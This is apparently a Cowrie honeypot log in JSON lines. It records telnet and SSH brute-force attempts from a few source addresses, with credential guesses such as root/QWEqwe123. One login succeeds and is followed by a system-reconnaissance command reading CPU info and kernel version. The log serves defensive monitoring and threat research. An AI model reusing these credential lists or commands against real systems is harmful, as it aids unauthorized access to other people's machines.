{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":59380,"dst_ip":"159.203.135.109","dst_port":23,"session":"46f904a452c6","protocol":"telnet","message":"New connection: 206.189.71.75:59380 (159.203.135.109:23) [session: 46f904a452c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:34.667784Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":59252,"dst_ip":"159.203.135.109","dst_port":23,"session":"47487a238dd3","protocol":"telnet","message":"New connection: 206.189.71.75:59252 (159.203.135.109:23) [session: 47487a238dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:35.561286Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":34078,"dst_ip":"159.203.135.109","dst_port":23,"session":"9057214a9c8e","protocol":"telnet","message":"New connection: 206.189.71.75:34078 (159.203.135.109:23) [session: 9057214a9c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:37.535840Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":34710,"dst_ip":"159.203.135.109","dst_port":23,"session":"4afc59c87486","protocol":"telnet","message":"New connection: 206.189.71.75:34710 (159.203.135.109:23) [session: 4afc59c87486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:38.180023Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":34726,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ec1249f72c2","protocol":"telnet","message":"New connection: 206.189.71.75:34726 (159.203.135.109:23) [session: 4ec1249f72c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:41.202803Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":38650,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bc8de2c754e","protocol":"telnet","message":"New connection: 206.189.71.75:38650 (159.203.135.109:23) [session: 0bc8de2c754e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:42.091059Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":40632,"dst_ip":"159.203.135.109","dst_port":23,"session":"211a1bc6eb84","protocol":"telnet","message":"New connection: 206.189.71.75:40632 (159.203.135.109:23) [session: 211a1bc6eb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:44.058375Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":40668,"dst_ip":"159.203.135.109","dst_port":23,"session":"19ccfeebda8f","protocol":"telnet","message":"New connection: 206.189.71.75:40668 (159.203.135.109:23) [session: 19ccfeebda8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:44.123901Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":40588,"dst_ip":"159.203.135.109","dst_port":23,"session":"753134a2311d","protocol":"telnet","message":"New connection: 206.189.71.75:40588 (159.203.135.109:23) [session: 753134a2311d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:45.007356Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35296,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e3b0660a327","protocol":"ssh","message":"New connection: 192.109.200.78:35296 (10.17.0.5:22) [session: 2e3b0660a327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:46.171808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:46.197956Z","src_ip":"192.109.200.78","session":"2e3b0660a327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:46.255392Z","src_ip":"192.109.200.78","session":"2e3b0660a327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42262,"dst_ip":"159.203.135.109","dst_port":23,"session":"1960c91a33b7","protocol":"telnet","message":"New connection: 206.189.71.75:42262 (159.203.135.109:23) [session: 1960c91a33b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:46.802242Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:46.813130Z","src_ip":"192.109.200.78","session":"2e3b0660a327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":43196,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ff34767cc4d","protocol":"telnet","message":"New connection: 206.189.71.75:43196 (159.203.135.109:23) [session: 2ff34767cc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:46.839784Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:47.900351Z","src_ip":"192.109.200.78","session":"2e3b0660a327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":45786,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f01974b6752","protocol":"telnet","message":"New connection: 206.189.71.75:45786 (159.203.135.109:23) [session: 1f01974b6752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:49.559729Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":45370,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f5d00773939","protocol":"telnet","message":"New connection: 206.189.71.75:45370 (159.203.135.109:23) [session: 6f5d00773939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:50.137584Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39980,"dst_ip":"10.17.0.5","dst_port":22,"session":"06990dd7e365","protocol":"ssh","message":"New connection: 192.109.200.78:39980 (10.17.0.5:22) [session: 06990dd7e365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:50.763161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:50.767746Z","src_ip":"192.109.200.78","session":"06990dd7e365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:50.849289Z","src_ip":"192.109.200.78","session":"06990dd7e365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:51.103804Z","src_ip":"192.109.200.78","session":"06990dd7e365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33192,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9c641be365c","protocol":"ssh","message":"New connection: 159.203.92.129:33192 (159.203.135.109:22) [session: d9c641be365c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:51.617496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:51.624561Z","src_ip":"159.203.92.129","session":"d9c641be365c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:51.629187Z","src_ip":"159.203.92.129","session":"d9c641be365c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@","message":"login attempt [admin/Admin@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:51.638579Z","src_ip":"159.203.92.129","session":"d9c641be365c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:51.674254Z","src_ip":"159.203.92.129","session":"d9c641be365c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:51.676568Z","src_ip":"159.203.92.129","session":"d9c641be365c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:51.679927Z","src_ip":"159.203.92.129","session":"d9c641be365c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:51.689940Z","src_ip":"159.203.92.129","session":"d9c641be365c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:51.695080Z","src_ip":"159.203.92.129","session":"d9c641be365c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:52.191270Z","src_ip":"192.109.200.78","session":"06990dd7e365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39986,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f16ab190dce","protocol":"ssh","message":"New connection: 192.109.200.78:39986 (10.17.0.5:22) [session: 4f16ab190dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:54.955082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:54.961146Z","src_ip":"192.109.200.78","session":"4f16ab190dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:55.048890Z","src_ip":"192.109.200.78","session":"4f16ab190dce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:55.687961Z","src_ip":"192.109.200.78","session":"4f16ab190dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:56.775267Z","src_ip":"192.109.200.78","session":"4f16ab190dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":52804,"dst_ip":"159.203.135.109","dst_port":23,"session":"36ff065d1242","protocol":"telnet","message":"New connection: 206.189.71.75:52804 (159.203.135.109:23) [session: 36ff065d1242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:57.516254Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48290,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dbb9f1fba2c","protocol":"ssh","message":"New connection: 192.109.200.78:48290 (10.17.0.5:22) [session: 6dbb9f1fba2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:59.133881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:59.139399Z","src_ip":"192.109.200.78","session":"6dbb9f1fba2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:59.221681Z","src_ip":"192.109.200.78","session":"6dbb9f1fba2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:01:59.549223Z","src_ip":"192.109.200.78","session":"6dbb9f1fba2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:00.694452Z","src_ip":"192.109.200.78","session":"6dbb9f1fba2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.631598472595215,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:01.892607Z","src_ip":"206.189.71.75","session":"c4b7de2b52c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":56990,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f3e89c715aa","protocol":"telnet","message":"New connection: 206.189.71.75:56990 (159.203.135.109:23) [session: 3f3e89c715aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:02.668303Z"}
{"eventid":"cowrie.session.closed","duration":35.435118675231934,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:02.895598Z","src_ip":"206.189.71.75","session":"c20eb6d224e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48296,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd94f5a1fedc","protocol":"ssh","message":"New connection: 192.109.200.78:48296 (10.17.0.5:22) [session: fd94f5a1fedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:03.370730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:03.375995Z","src_ip":"192.109.200.78","session":"fd94f5a1fedc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:03.458441Z","src_ip":"192.109.200.78","session":"fd94f5a1fedc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.04011368751526,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:03.630430Z","src_ip":"206.189.71.75","session":"bc7a4f722f3d","protocol":"telnet"}
